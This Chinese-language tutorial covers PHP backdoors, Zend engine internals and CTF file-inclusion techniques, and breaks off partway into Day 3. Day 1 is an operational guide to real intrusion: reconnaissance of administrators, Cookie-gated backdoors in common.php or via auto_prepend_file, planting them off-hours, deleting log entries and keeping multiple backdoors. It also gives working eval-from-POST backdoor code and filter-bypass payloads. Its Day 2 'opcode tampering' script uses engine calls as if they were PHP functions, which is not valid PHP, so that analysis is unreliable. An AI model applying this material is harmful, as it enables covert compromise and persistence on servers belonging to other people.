目录
[第 1 天:PHP 底层后门调试 + 社工思路融合](#第 1 天:PHP 底层后门调试 + 社工思路融合)
[后门调试方法(断点跟踪 + 日志分析,具体步骤)](#后门调试方法(断点跟踪 + 日志分析,具体步骤))
[方案 1: 断点跟踪(精准定位执行节点,适合排查底层逻辑问题)](#方案 1: 断点跟踪(精准定位执行节点,适合排查底层逻辑问题))
[方案 2: 日志分析(全面排查执行问题,适合生产环境 / 无调试工具场景)](#方案 2: 日志分析(全面排查执行问题,适合生产环境 / 无调试工具场景))
[CTF 关联考点(后门隐藏与检测绕过,代码审计题解题步骤)](#CTF 关联考点(后门隐藏与检测绕过,代码审计题解题步骤))
[第 2 天:C 底层调试 + Zend 虚拟机执行流程](#第 2 天:C 底层调试 + Zend 虚拟机执行流程)
[C 语言层调试:PHP 解释器底层运行机制、内存管理原理;](#C 语言层调试:PHP 解释器底层运行机制、内存管理原理;)
[(一) PHP 解释器底层运行机制调试(具体步骤)](#(一) PHP 解释器底层运行机制调试(具体步骤))
[(二) PHP 内存管理原理调试(具体步骤)](#(二) PHP 内存管理原理调试(具体步骤))
[Zend 虚拟机核心:opcode 生成与执行流程、指令解析逻辑;](#Zend 虚拟机核心:opcode 生成与执行流程、指令解析逻辑;)
[前置准备:安装 opcode 查看工具(vld 扩展)](#前置准备:安装 opcode 查看工具(vld 扩展))
[(一) opcode 生成流程](#(一) opcode 生成流程)
[步骤 1: 可视化验证(通过 vld 扩展查看 opcode 生成结果)](#步骤 1: 可视化验证(通过 vld 扩展查看 opcode 生成结果))
[步骤 2: GDB 底层调试(跟踪 opcode 生成的 C 层流程)](#步骤 2: GDB 底层调试(跟踪 opcode 生成的 C 层流程))
[(二) opcode 执行流程与指令解析逻辑](#(二) opcode 执行流程与指令解析逻辑)
[步骤 1: 可视化验证(通过 vld 扩展查看 opcode 执行顺序)](#步骤 1: 可视化验证(通过 vld 扩展查看 opcode 执行顺序))
[步骤 2: GDB 底层调试(跟踪 opcode 执行与指令解析)](#步骤 2: GDB 底层调试(跟踪 opcode 执行与指令解析))
[底层漏洞分析:PHP 内存分配漏洞、执行流程异常漏洞的成因;](#底层漏洞分析:PHP 内存分配漏洞、执行流程异常漏洞的成因;)
[(一) PHP 执行流程异常漏洞](#(一) PHP 执行流程异常漏洞)
[第 3 天:Zend 编译函数应用 + PHP 伪协议系统讲解核心知识点](#第 3 天:Zend 编译函数应用 + PHP 伪协议系统讲解核心知识点)
[Zend 编译函数:编译层绕过安全限制的原理](#Zend 编译函数:编译层绕过安全限制的原理)
[绕过年径 :编译优化利用](#绕过年径 :编译优化利用)
[(三) 编译层绕过核心总结](#(三) 编译层绕过核心总结)
[PHP 伪协议实战:php://filter(文件过滤读取)、php://input(POST 数据接收)、zip://(压缩包解析)等协议的功能、适用场景及语法格式;](#PHP 伪协议实战:php://filter(文件过滤读取)、php://input(POST 数据接收)、zip://(压缩包解析)等协议的功能、适用场景及语法格式;)
[(一) 协议 1:php://filter(文件过滤读取)](#(一) 协议 1:php://filter(文件过滤读取))
[核心操作过程(以 CTF 读取flag.php为例)](#核心操作过程(以 CTF 读取flag.php为例))
[(二) 协议 2:php://input(POST 数据接收)](#(二) 协议 2:php://input(POST 数据接收))
[核心操作过程(以文件包含 getshell 为例)](#核心操作过程(以文件包含 getshell 为例))
[(三) 协议 3:zip://(压缩包解析)](#(三) 协议 3:zip://(压缩包解析))
核心操作过程(以绕过php://filter禁止,读取flag.php为例)
[(四) 其他核心协议补充(快速操作指南)](#(四) 其他核心协议补充(快速操作指南))
[第 4 天:伪协议相关漏洞 + 文件包含与日志注入](#第 4 天:伪协议相关漏洞 + 文件包含与日志注入)
(一) php://filter + 文件包含 → 读取敏感文件 php://filter + 文件包含 → 读取敏感文件)
这是最常用的场景,用于读取不可直接访问的敏感文件(如config.php、flag.php、/etc/passwd),核心操作步骤如下:
[(二) php://input + 文件包含 → 远程代码执行](#(二) php://input + 文件包含 → 远程代码执行)
[日志文件注入:Apache/Nginx 日志路径定位、恶意代码写入方法、文件包含触发执行流程](#日志文件注入:Apache/Nginx 日志路径定位、恶意代码写入方法、文件包含触发执行流程)
[(一) 步骤 1:定位 Apache/Nginx 日志文件路径](#(一) 步骤 1:定位 Apache/Nginx 日志文件路径)
[1. Apache 默认日志路径](#1. Apache 默认日志路径)
[2. Nginx 默认日志路径](#2. Nginx 默认日志路径)
[3. Windows 日志默认路径](#3. Windows 日志默认路径)
[4. 路径探测方法(利用文件包含漏洞)](#4. 路径探测方法(利用文件包含漏洞))
[(二) 步骤 2:恶意代码写入日志文件(核心操作,Burp Suite)](#(二) 步骤 2:恶意代码写入日志文件(核心操作,Burp Suite))
[(三) 步骤 3:文件包含触发日志中的代码执行(核心操作)](#(三) 步骤 3:文件包含触发日志中的代码执行(核心操作))
[五、核心漏洞与 CTF 实战考点整合](#五、核心漏洞与 CTF 实战考点整合)
[(二)高危漏洞与 CTF 解题技巧](#(二)高危漏洞与 CTF 解题技巧)
[(三)CTF 常用工具与函数](#(三)CTF 常用工具与函数)
[(四)CTF 自动化脚本](#(四)CTF 自动化脚本)
[六、安全防护措施(CTF 防护绕过思路)](#六、安全防护措施(CTF 防护绕过思路))
第 1 天:PHP 底层后门调试 + 社工思路融合
社会工程学渗透(定位后门植入入口)
核心逻辑:结合目标环境的人文特征与系统规律,找到隐蔽、高可用的后门植入入口,避免盲目尝试,步骤如下:
前期信息收集(摸清目标环境全貌)
- 收集系统配置规律① 探测目标服务器操作系统(Linux/Windows)、PHP 版本、Web 服务器(Apache/Nginx/IIS);② 查找默认配置路径(如 Apache 默认网站根目录
/var/www/html、Nginx 日志路径/var/log/nginx、Windows PHP 配置文件php.ini路径C:\php\php.ini);③ 检测目标安全防护措施(是否有 WAF、杀毒软件、文件上传限制)。 - 收集管理员操作习惯① 分析目标网站业务逻辑(如是否有后台管理、文件上传、数据备份、用户反馈等功能);② 查找管理员操作痕迹(如后台登录时间、上传文件命名规则、备份文件后缀(
.bak、.zip)、留言板 / 评论区的管理员回复习惯);③ 收集公开信息(如目标网站开发者的 GitHub 仓库、技术博客、行业交流帖子,了解其编码习惯与安全意识)。
筛选潜在植入入口(优先选择隐蔽性高、不易被清理的入口)
-
合法文件篡改(优先选择)① 目标:找到网站中不常被修改的合法 PHP 文件(如公共函数文件
common.php、底部导航文件footer.php);② 依据:管理员通常不会频繁修改公共函数文件,后门植入后存活时间长;③ 操作:在合法文件的末尾或无关函数内部,插入隐蔽的后门代码(如加入条件判断,仅当特定 Cookie 存在时才执行后门)。 -
备份文件 / 临时文件利用① 目标:找到管理员的备份文件(如
index.php.bak、database_20240118.zip)或临时文件(如php_sess_xxx、tmp_xxx.php);② 依据:管理员常忽略备份文件的安全,且备份文件通常具有较高权限;③ 操作:若备份文件可访问,直接篡改备份文件植入后门;若不可访问,通过文件上传漏洞替换备份文件。 -
配置文件注入① 目标:找到 PHP 配置文件(
php.ini)、Web 服务器配置文件(httpd.conf、nginx.conf);② 依据:配置文件生效后,后门具有全局执行权限,隐蔽性极强;③ 操作:通过auto_prepend_file配置项(PHP 启动时自动包含指定文件),指定后门文件路径,实现全局后门植入。
验证入口可用性(避免暴露痕迹)
- 先通过非破坏性操作验证入口是否可用(如尝试读取配置文件,不直接写入后门);
- 选择管理员非工作时间(如深夜、节假日)进行植入操作,减少被发现的概率;
- 植入后测试后门可用性,同时清理操作痕迹(如删除日志中的访问记录、恢复操作过程中修改的非目标文件)。
后期维护(延长后门存活时间)
- 依据管理员的备份周期,定期更新后门(避免被备份文件覆盖);
- 采用多重后门策略(植入 2-3 个不同入口、不同格式的后门),互为备份。
后门调试方法(断点跟踪 + 日志分析,具体步骤)
核心逻辑:通过调试工具与日志记录,还原后门底层执行流程,排查后门无法执行、被检测的问题,步骤如下:
方案 1: 断点跟踪(精准定位执行节点,适合排查底层逻辑问题)
工具准备:PHP 调试工具 Xdebug(需配置在目标服务器或本地测试环境)、IDE(PhpStorm、VS Code)
- 前期环境配置
-
在
php.ini中启用 Xdebug 扩展,配置核心参数:php[Xdebug] zend_extension = xdebug.so # Windows下为xdebug.dll xdebug.mode = debug # 开启调试模式 xdebug.client_host = 127.0.0.1 # 调试客户端IP(IDE所在机器) xdebug.client_port = 9003 # 调试端口(默认9003) xdebug.start_with_request = yes # 随请求自动启动调试 -
重启 Web 服务器(Apache/Nginx),使 Xdebug 配置生效;
-
在 IDE 中配置 Xdebug(关联 PHP 版本、设置调试端口 9003),建立与服务器的调试连接。
-
- 设置断点(跟踪后门执行流程)
- 将后门文件(如
backdoor.php)在 IDE 中打开,在关键执行节点设置断点:① 恶意函数定义处(如$func = base64_decode('ZXZhbA=='););② 执行函数调用处(如$func($_POST['cmd']););③ 超全局变量获取处(如$_POST['cmd'])。 - 通过工具发送包含
cmd=phpinfo();的 POST 请求,触发后门执行,此时 IDE 会自动捕获请求并暂停在第一个断点处。
- 将后门文件(如
- 分步跟踪执行流程(分析底层逻辑)
- 使用 IDE 的「单步执行」(F10)、「步入函数」(F11)功能,逐步执行代码;
- 观察每一步的变量值变化(如
$func的解码结果、$_POST['cmd']的取值),验证是否符合预期; - 跟踪函数调用栈(Call Stack),查看后门执行时的底层函数调用(如
eval()对应的 Zend 虚拟机函数),定位执行异常(如函数被禁用、参数为空)的问题; - 若后门被 WAF 拦截,可在断点中观察请求参数的传递过程,排查是否在解码前被 WAF 检测并拦截。
- 调试结果整理记录断点跟踪中的异常节点、变量取值、函数调用情况,针对性优化后门代码(如调整编码方式、修改函数调用方式)。
方案 2: 日志分析(全面排查执行问题,适合生产环境 / 无调试工具场景)
工具准备:PHP 内置日志功能、Web 服务器日志(Apache/Nginx)
-
启用 PHP 错误日志(记录后门执行报错)
-
在
php.ini中配置日志参数,启用错误日志记录:php[PHP] log_errors = On # 开启错误日志记录 error_log = /var/log/php/error.log # 日志文件保存路径(Linux) error_reporting = E_ALL # 记录所有级别错误(包括警告、通知) display_errors = Off # 关闭页面错误输出,避免暴露信息 -
重启 Web 服务器,使日志配置生效;
-
确保日志文件具有可写入权限(
chmod 755 /var/log/php/error.log)。
-
-
增强后门日志记录(主动记录执行流程) :
php<?php $func = base64_decode('ZXZhbA=='); // 记录后门执行时间、客户端IP、传递的指令 error_log("[Backdoor Log] Time: " . date('Y-m-d H:i:s') . " IP: " . $_SERVER['REMOTE_ADDR'] . " Cmd: " . $_POST['cmd']); try { $func($_POST['cmd']); } catch (Exception $e) { // 记录执行异常信息 error_log("[Backdoor Error] " . $e->getMessage()); } ?> -
分析日志文件(排查问题)
- 触发后门执行后,查看 PHP 错误日志(
tail -f /var/log/php/error.log,实时监控日志变化); - 提取后门日志记录,验证:① 客户端 IP、执行指令是否正常记录(确认后门是否接收到请求);② 是否有错误信息(如
eval() has been disabled for security reasons,说明函数被禁用;Undefined index: cmd,说明参数传递失败)。 - 分析 Web 服务器日志(如 Apache 的
access.log),查看请求是否被正常接收、是否有 WAF 拦截的状态码(如 403 Forbidden)。
- 触发后门执行后,查看 PHP 错误日志(
-
问题定位与优化根据日志中的错误信息,针对性优化后门(如函数被禁用则更换执行函数、参数传递失败则调整参数传递方式)。
CTF 关联考点(后门隐藏与检测绕过,代码审计题解题步骤)
CTF 代码审计题中,后门相关考点核心是「找到隐藏的后门→绕过检测机制→利用后门获取 flag」,具体解题步骤如下:
-
审题与初步代码审计(快速定位可疑点)
- 步骤 1:阅读题目要求(明确目标:获取 flag、绕过何种检测);
- 步骤 2:快速浏览所有提供的源码文件,重点关注:① 敏感函数(
eval()、assert()、call_user_func()等),即使是变形或编码后的形式;② 超全局变量($_POST、$_GET、$_COOKIE)的使用场景,尤其是未经过滤的参数传递;③ 配置项(disable_functions、allow_url_include),明确限制条件;④ 不寻常的代码逻辑(如多余的字符串拼接、无意义的编码 / 解码操作、条件判断中的隐蔽触发条件)。
-
深度分析后门隐藏逻辑(还原后门全貌)
-
步骤 1:针对可疑代码,还原变形 / 编码后的内容(如手动解码 Base64、拆分字符串拼接),确认是否为后门;
-
步骤 2:梳理后门的触发条件(如是否需要特定 Cookie、特定 IP、特定参数值)
php// CTF常见隐藏触发条件:仅当Cookie中admin=1时,后门才执行 if ($_COOKIE['admin'] === '1') { $func = 'e' . 'val'; $func($_POST['cmd']); } -
步骤 3:确认后门的执行限制(如是否仅能执行特定命令、是否有输出过滤)。
-
-
构造绕过 payload(适配题目检测机制)
-
步骤 1:根据题目中的检测机制,选择对应的绕过方法(如字符编码、函数变形);
-
步骤 2:针对 CTF 高频考点,构造精准 payload:① 考点:关键字黑名单(禁止
eval、system)→ 采用函数变形 + 编码,payload 示例(通过create_function()绕过):php// 传递的cmd参数:create_function('', 'phpinfo();')(); cmd=create_function('','phpinfo();')();② 考点:输出过滤(禁止显示
flag关键字)→ 采用 Base64 编码输出:php// 传递的cmd参数:echo base64_encode(file_get_contents('flag.php')); cmd=echo base64_encode(file_get_contents('flag.php'));③ 考点:函数禁用(禁用
eval、system)→ 采用未被禁用的替代函数,payload 示例(popen()执行命令):php// 传递的cmd参数:popen('cat flag.php', 'r'); cmd=popen('cat flag.php','r');
-
-
利用后门获取 flag(验证解题结果)
- 通过题目提供的交互界面或 Burp Suite,发送构造好的 payload,触发后门执行;
- 提取执行结果(如 Base64 编码内容、页面隐藏内容、日志输出),解码或整理后获取 flag;
- 若一次尝试失败,根据返回结果调整 payload(如更换绕过方法、修改触发条件),直至成功获取 flag。
-
总结考点规律 :
- 后门常隐藏在公共函数文件、配置文件中,需重点审计;
- 检测机制多为关键字匹配、函数禁用,绕过核心是「变形 + 编码 + 替代」;
- 触发条件常为隐蔽的参数、Cookie、IP 限制,需仔细分析代码逻辑。
总结「实现→隐藏→调试→解题」:
- 先掌握 PHP 后门的基础实现与绕过技巧,完成技术落地;
- 再通过社工思路找到最优植入入口,提升后门存活概率;
- 然后通过断点跟踪与日志分析,排查问题、优化后门;
- 最后适配 CTF 考点,完成后门的识别、绕过与利用,获取目标结果。
php 底层原理具体调试可以参考这篇文章:
第 2 天:C 底层调试 + Zend 虚拟机执行流程
C 语言层调试:PHP 解释器底层运行机制、内存管理原理;
(一) PHP 解释器底层运行机制调试(具体步骤)
核心目标:通过 GDB 调试 PHP CLI 程序,还原「PHP 脚本→C 语言解释器→执行结果」的底层流程
-
准备测试 PHP 脚本 创建简单测试文件
test.php,用于跟踪执行流程:php<?php // 简单的赋值与输出语句,便于跟踪底层调用 $a = 10; $b = 20; $c = $a + $b; echo "Result: " . $c . "\n"; ?> -
启动 GDB 挂载 PHP 解释器
bash# 启动GDB,加载PHP CLI可执行文件 gdb /usr/local/php74-debug/bin/php -
设置核心断点(跟踪解释器关键流程) PHP 解释器底层核心入口是
main()函数(位于sapi/cli/php_cli.c),后续关键流程函数如下,分步设置断点:-
步骤 1:断点 1 - 解释器入口
main函数php# GDB命令:设置断点在main函数 break main -
步骤 2:运行程序,加载测试脚本
php# GDB命令:运行PHP解释器,传入测试脚本参数 run test.php -
步骤 3:断点 2 - 脚本解析入口
zend_parse_argv(解析命令行参数,识别待执行的 PHP 脚本)phpbreak zend_parse_argv # 继续执行到该断点(GDB命令:c = continue) c -
步骤 4:断点 3 - 脚本编译入口
zend_compile_file(将 PHP 源码编译为 opcode)phpbreak zend_compile_file c -
步骤 5:断点 4 - 脚本执行入口
zend_execute_scripts(执行编译后的 opcode 指令集)phpbreak zend_execute_scripts c
-
-
分步跟踪,分析解释器底层流程
-
步骤 1:使用
step(简写s,步入函数内部)、next(简写n,单步执行,不步入子函数)跟踪main函数流程,观察 PHP 解释器的初始化(如环境变量加载、内存池初始化); -
步骤 2:在
zend_compile_file断点处,使用print(简写p)查看参数,获取待编译的文件路径:php# 打印文件路径参数(根据函数参数列表,调整变量名) p filename -
步骤 3:在
zend_execute_scripts断点处,跟踪 opcode 执行的底层调用,观察解释器如何循环执行 opcode 指令,直至脚本结束; -
步骤 4:调试结束,查看执行结果,退出 GDB
php# 继续执行至程序结束 c # 退出GDB quit
-
-
核心结论(PHP 解释器底层运行流程) 经过调试可还原完整流程:
初始化环境(main)→ 解析命令行参数(zend_parse_argv)→ 加载PHP脚本 → 编译源码为opcode(zend_compile_file)→ 执行opcode指令集(zend_execute_scripts)→ 释放资源 → 程序退出
(二) PHP 内存管理原理调试(具体步骤)
核心目标:跟踪 PHP 底层内存管理函数(emalloc/efree等),理解「内存池→内存分配→内存释放」的核心逻辑
-
准备带内存操作的 PHP 测试脚本 创建
mem_test.php,包含大量变量赋值与数组操作,触发明显的内存分配 / 释放:php<?php // 触发内存分配:创建大数组,赋值大量字符串 $mem_array = array(); for ($i = 0; $i < 1000; $i++) { $mem_array[$i] = "Test Memory Allocation: " . $i; } // 触发内存释放:销毁数组 unset($mem_array); echo "Memory Operation Completed\n"; ?> -
启动 GDB,设置内存管理函数断点 PHP 底层内存管理不直接使用 C 标准库
malloc/free,而是封装了专属函数(emalloc/efree/ecalloc等),核心断点设置如下:bash# 启动GDB,加载PHP解释器 gdb /usr/local/php74-debug/bin/phpphp# 断点1:内存分配核心函数 emalloc(位于 Zend/zend_alloc.c) break emalloc # 断点2:内存释放核心函数 efree(位于 Zend/zend_alloc.c) break efree # 断点3:内存池初始化函数 zend_alloc_init(初始化PHP内存池) break zend_alloc_init -
运行调试,跟踪内存操作流程
-
运行测试脚本,触发断点
bashrun mem_test.php -
跟踪内存池初始化(
zend_alloc_init断点)使用s步入函数内部,查看内存池的初始配置(如内存块大小、阈值、缓存策略),打印核心变量:bash# 打印内存池初始大小 p heap->size核心结论:PHP 启动时会初始化一个全局内存池,后续所有内存操作均基于该内存池,避免频繁调用
malloc/free带来的性能损耗。 -
跟踪内存分配(
emalloc断点)当执行到 PHP 数组赋值时,会触发emalloc断点,此时:- 使用
p size查看本次分配的内存大小; - 使用
bt(backtrace)查看函数调用栈,还原「PHP 数组赋值→Zend 引擎→emalloc→malloc」的调用链路; - 使用
c继续执行,观察循环赋值过程中emalloc的多次触发,理解「批量内存分配」的逻辑;核心结论:emalloc会优先从内存池中获取空闲内存块,若内存池不足,再调用 C 标准库malloc向系统申请内存,并更新内存池状态。
- 使用
-
跟踪内存释放(
efree断点)当执行unset($mem_array)时,会触发efree断点,此时:- 查看待释放的内存地址与大小;
- 跟踪函数内部逻辑,观察
efree并非直接将内存归还系统,而是将内存块标记为「空闲」,存入内存池缓存,供后续emalloc复用; - 核心结论:PHP 的内存释放是「延迟归还」,只有当内存池达到阈值或 PHP 程序退出时,才会调用
free将内存归还系统。
-
-
进阶:查看内存泄露与内存碎片
- 在
mem_test.php中注释unset($mem_array),不手动释放内存; - 重新调试,观察程序结束时
efree是否被触发; - 使用 GDB 的
watch命令监控内存池大小变化,查看未释放的内存块,理解「内存泄露」的成因; - 跟踪多次分配 / 释放后的内存池状态,观察空闲内存块的分布,理解「内存碎片」的形成。
- 在
Zend 虚拟机核心:opcode 生成与执行流程、指令解析逻辑;
前置准备:安装 opcode 查看工具(vld 扩展)
为了直观查看 opcode,先安装 PHP 的 vld 扩展(可视化 Zend 引擎中间代码):
-
下载并安装 vld 扩展
bash# 下载vld扩展源码(对应PHP 7.4版本) wget https://pecl.php.net/get/vld-0.17.2.tgz tar -zxvf vld-0.17.2.tgz cd vld-0.17.2 # 用调试版PHP的phpize生成配置文件 /usr/local/php74-debug/bin/phpize # 配置 ./configure --with-php-config=/usr/local/php74-debug/bin/php-config # 编译安装 make && sudo make install -
启用 vld 扩展 编辑 PHP 配置文件
/usr/local/php74-debug/etc/php.ini,添加如下内容:php[vld] extension=vld.so vld.active=1 # 默认启用vld vld.verbosity=3 # 显示详细opcode信息 -
验证 vld 扩展
bash# 运行测试脚本,查看opcode输出 /usr/local/php74-debug/bin/php test.php
(一) opcode 生成流程
核心目标:还原「PHP 源码→词法分析→语法分析→opcode 指令集」的生成过程,分「可视化验证」和「GDB 底层调试」两步实现
步骤 1: 可视化验证(通过 vld 扩展查看 opcode 生成结果)
-
准备简单 PHP 脚本
opcode_gen.phpphp<?php $x = 5; $y = 10; $z = $x + $y; echo $z; ?> -
运行脚本,查看 opcode 生成结果
bash/usr/local/php74-debug/bin/php opcode_gen.php -
分析 opcode 生成结果,梳理生成流程 输出结果中包含核心 opcode 指令(如
ZEND_ASSIGN、ZEND_ADD、ZEND_ECHO),对应生成流程的三个核心阶段:-
词法分析(Scanner)Zend 引擎的
zend_scanner.c将 PHP 源码拆分为「标记(Token)」,如T_VARIABLE(变量$x)、T_LNUMBER(数字5)、T_ASSIGN(赋值符号=)、T_PLUS(加号+);验证方式:通过php -l(语法检查)查看词法错误,若脚本有语法错误,会在该阶段报错。 -
语法分析(Parser)Zend 引擎的
zend_parser.c将 Token 按 PHP 语法规则组合为「抽象语法树(AST)」,验证 Token 的排列是否符合 PHP 语法规范,如「变量→赋值→数字」是合法语法,「赋值→变量→数字」是非法语法;验证方式:若脚本存在语法错误(如$x = 5 +;),会在该阶段报错,无法生成 AST。 -
编译生成 opcode(Compiler)Zend 引擎的
zend_compile.c将 AST 编译为「opcode 指令集」,每个 opcode 对应 Zend 虚拟机的一个执行操作,核心映射关系:PHP 源码操作 对应的 opcode 指令 功能说明 $x = 5ZEND_ASSIGN变量赋值 $z = $x + $yZEND_ADD+ZEND_ASSIGN加法运算 + 结果赋值 echo $zZEND_ECHO输出变量 核心结论:opcode 是 Zend 虚拟机的「中间执行代码」,是连接 PHP 源码与底层 C 执行的桥梁。
-
步骤 2: GDB 底层调试(跟踪 opcode 生成的 C 层流程)
-
启动 GDB,设置编译相关断点
bashgdb /usr/local/php74-debug/bin/phpbash# 断点1:词法分析入口 zend_scan_file break zend_scan_file # 断点2:语法分析入口 zend_parse_file break zend_parse_file # 断点3:opcode编译入口 zend_compile_file break zend_compile_file -
运行脚本,跟踪编译流程
phprun opcode_gen.php -
分步跟踪,验证 opcode 生成的底层逻辑
- 步骤 1:在
zend_scan_file断点处,跟踪词法分析,查看 Token 的生成与存储; - 步骤 2:在
zend_parse_file断点处,跟踪 AST 的构建,使用p打印 AST 节点信息; - 步骤 3:在
zend_compile_file断点处,跟踪 AST 到 opcode 的转换,查看 opcode 数组的生成过程,打印 opcode 指令的内存存储状态; - 步骤 4:使用
c继续执行,直至编译完成,查看生成的 opcode 指令集是否与 vld 扩展的输出一致。
- 步骤 1:在
(二) opcode 执行流程与指令解析逻辑
核心目标:还原「opcode 指令集→Zend 虚拟机执行→输出结果」的流程,理解指令解析与循环执行逻辑
步骤 1: 可视化验证(通过 vld 扩展查看 opcode 执行顺序)
-
修改
opcode_gen.php,添加 vld 配置(指定仅显示 opcode,不执行脚本)php<?php // 启用vld,不执行实际脚本,仅显示opcode ini_set('vld.active', 1); ini_set('vld.execute', 0); ini_set('vld.verbosity', 3); $x = 5; $y = 10; $z = $x + $y; echo $z; ?> -
运行脚本,分析 opcode 执行顺序
php/usr/local/php74-debug/bin/php opcode_gen.php -
梳理 opcode 执行核心流程 输出结果中会显示 opcode 的「执行顺序(line)」和「指令指针(IP)」,对应 Zend 虚拟机的执行逻辑:
- 初始化执行环境Zend 虚拟机创建「执行器全局结构(zend_executor_globals)」和「执行帧(zend_execute_data)」,加载 opcode 指令集,初始化指令指针(IP)指向第一条 opcode 指令。
- 循环执行 opcode 指令(核心)Zend 虚拟机通过「指令指针循环」逐个执行 opcode 指令,流程如下:
- 指令指针(IP)指向当前待执行的 opcode;
- 解析 opcode 指令对应的执行函数(如
ZEND_ASSIGN对应ZEND_ASSIGN_SPEC_CV_CV_HANDLER); - 执行对应函数,完成具体操作(如变量赋值、加法运算);
- 更新指令指针(IP),指向下一条 opcode;
- 重复步骤 1-4,直至执行到
ZEND_RETURN(脚本结束指令)。
- 释放执行环境脚本执行完成后,Zend 虚拟机释放执行帧、执行器全局结构,回收相关内存。
步骤 2: GDB 底层调试(跟踪 opcode 执行与指令解析)
-
启动 GDB,设置执行相关断点
bashgdb /usr/local/php74-debug/bin/phpbash# 断点1:opcode执行入口 zend_execute break zend_execute # 断点2:指令循环核心函数 zend_execute_oparray break zend_execute_oparray # 断点3:具体opcode指令(如ZEND_ASSIGN)执行函数 break ZEND_ASSIGN_SPEC_CV_CV_HANDLER -
运行脚本,跟踪执行流程
bashrun opcode_gen.php -
分步分析,理解指令解析逻辑
-
在
zend_execute_oparray断点处,跟踪指令指针(IP)的变化,使用p打印当前执行的 opcode 指令:bash# 打印当前opcode指令 p *opline -
在
ZEND_ASSIGN_SPEC_CV_CV_HANDLER断点处,跟踪变量赋值的底层实现,查看指令如何解析变量地址、完成赋值操作; -
使用
c继续执行,观察指令指针的更新过程,验证「循环执行 opcode」的核心逻辑; -
调试至脚本结束,查看 opcode 执行完成后的资源释放流程。
-
-
**核心结论(指令解析逻辑)**Zend 虚拟机对 opcode 的解析是「一一映射」:每个 opcode 指令都对应一个预定义的 C 语言处理函数(称为「opcode 处理器」),指令解析的核心是「根据 opcode 类型找到对应的处理器,传递参数并执行」,最终将 PHP 的高层操作转化为底层 C 语言执行。
底层漏洞分析:PHP 内存分配漏洞、执行流程异常漏洞的成因;
(一) PHP 执行流程异常漏洞
核心成因:Zend 虚拟机执行 opcode 时,未校验 opcode 指令的合法性,导致恶意篡改的 opcode 被执行,引发执行流程异常
-
准备漏洞复现 PHP 脚本(构造 opcode 篡改场景) 创建
exec_vuln.php,手动篡改 opcode 指令,触发执行流程异常:php<?php // 正常opcode:赋值$a=1,输出$a $a = 1; echo "Normal Result: " . $a . "\n"; // 恶意篡改:通过内存操作,将ZEND_ASSIGN改为ZEND_EVAL_CODE,触发执行流程异常 $oparray = zend_compile_string('$a=1;', 'test'); // 篡改第一条opcode指令类型 $oparray->opcodes[0].opcode = ZEND_EVAL_CODE; // 执行篡改后的opcode zend_execute_oparray($oparray, NULL); ?> -
GDB 调试,定位执行流程异常漏洞点
-
启动 GDB,设置
zend_execute_oparray断点(opcode 执行核心函数)bashgdb /usr/local/php74-debug/bin/phpbashbreak zend_execute_oparray run exec_vuln.php -
跟踪 opcode 合法性校验逻辑
-
使用
s步入zend_execute_oparray函数,查找是否存在 opcode 指令类型校验代码; -
核心漏洞点定位:Zend 虚拟机在执行 opcode 前,未校验
opcode字段的合法性(仅校验 opcode 是否在指令集中,未校验当前执行环境是否允许该指令执行); -
打印篡改后的 opcode 指令类型,验证恶意指令是否被正常加载:
p $oparray->opcodes[0].opcode
-
-
跟踪篡改后 opcode 的执行流程
- 继续执行,观察 Zend 虚拟机是否会解析并执行
ZEND_EVAL_CODE指令; - 查看执行结果,观察是否出现执行流程异常(如输出错误、程序崩溃、执行未授权代码);
- 使用
bt查看函数调用栈,梳理「恶意 opcode→未校验→执行→流程异常」的传播链。
- 继续执行,观察 Zend 虚拟机是否会解析并执行
-
-
梳理执行流程异常漏洞的核心成因与传播链
- 直接成因:Zend 虚拟机执行 opcode 前,未对指令的合法性、权限、完整性进行有效校验;
- 间接成因:opcode 指令集的可修改性(未对编译后的 opcode 进行加密 / 签名保护);
- 危害传播链:
恶意篡改opcode→Zend虚拟机加载未校验→执行非法opcode→破坏正常执行流程→未授权代码执行/数据泄露/程序崩溃。
底层漏洞分析总结
- 内存分配漏洞的核心:「校验缺失」(长度、类型、边界),导致内存操作超出预期范围;
- 执行流程异常漏洞的核心:「信任过度」(信任 opcode 的合法性、信任输入数据的安全性),导致恶意指令被执行;
- 所有底层漏洞的根源:Zend 引擎 / PHP 解释器的 C 层代码存在逻辑缺陷,且未建立完善的安全校验机制。
总结
以上三部分的核心逻辑可概括为「环境搭建→可视化验证→GDB 底层调试→漏洞定位与成因梳理」:
- 先搭建带调试信息的 PHP 源码环境,为后续实操奠定基础;
- 再通过 vld 扩展可视化验证 opcode 的生成与执行,快速理解高层流程;
- 然后通过 GDB 跟踪 C 层函数,还原底层运行机制、内存管理、opcode 执行的核心逻辑;
- 最后通过漏洞复现,定位漏洞点,梳理成因与危害传播链,完成底层漏洞的完整分析。
第 3 天:Zend 编译函数应用 + PHP 伪协议系统讲解核心知识点
Zend 编译函数:编译层绕过安全限制的原理
Zend 编译函数的核心是利用 PHP 编译阶段(源码→opcode)的逻辑缺陷,绕过运行时的安全限制,核心绕过年径为「语法解析绕过」和「编译优化利用」,具体操作过程如下:
前置说明
- 核心编译阶段:PHP 执行前的「词法分析→语法分析→生成 opcode」(由 Zend 引擎
zend_compile_*系列函数完成); - 安全限制前提:目标服务器通常在运行时做限制(如
disable_functions禁用eval、WAF 关键字匹配拦截恶意代码),但未对编译阶段做校验; - 核心工具:无需额外工具,仅需构造特殊语法的 PHP 代码,依赖 Zend 引擎的原生编译逻辑。
绕过年径 :编译优化利用
核心操作步骤(以「常量折叠优化」为例)
-
步骤 1:理解 Zend 编译优化规则 ------ 常量折叠Zend 编译阶段会将「常量表达式」直接计算出结果(无需运行时计算),例如:
- 源码:
$str = 'a' . 'b' . 'c'; - 编译优化后:
$str = 'abc';(opcode 中直接存储结果abc,无拼接操作) - 关键特性:常量折叠支持大部分 PHP 内置函数的常量参数调用,如
base64_decode('ZXZhbA==')会被编译优化为eval。
- 源码:
-
步骤 2:构造基于常量折叠的绕过 payload 适用于:WAF 拦截
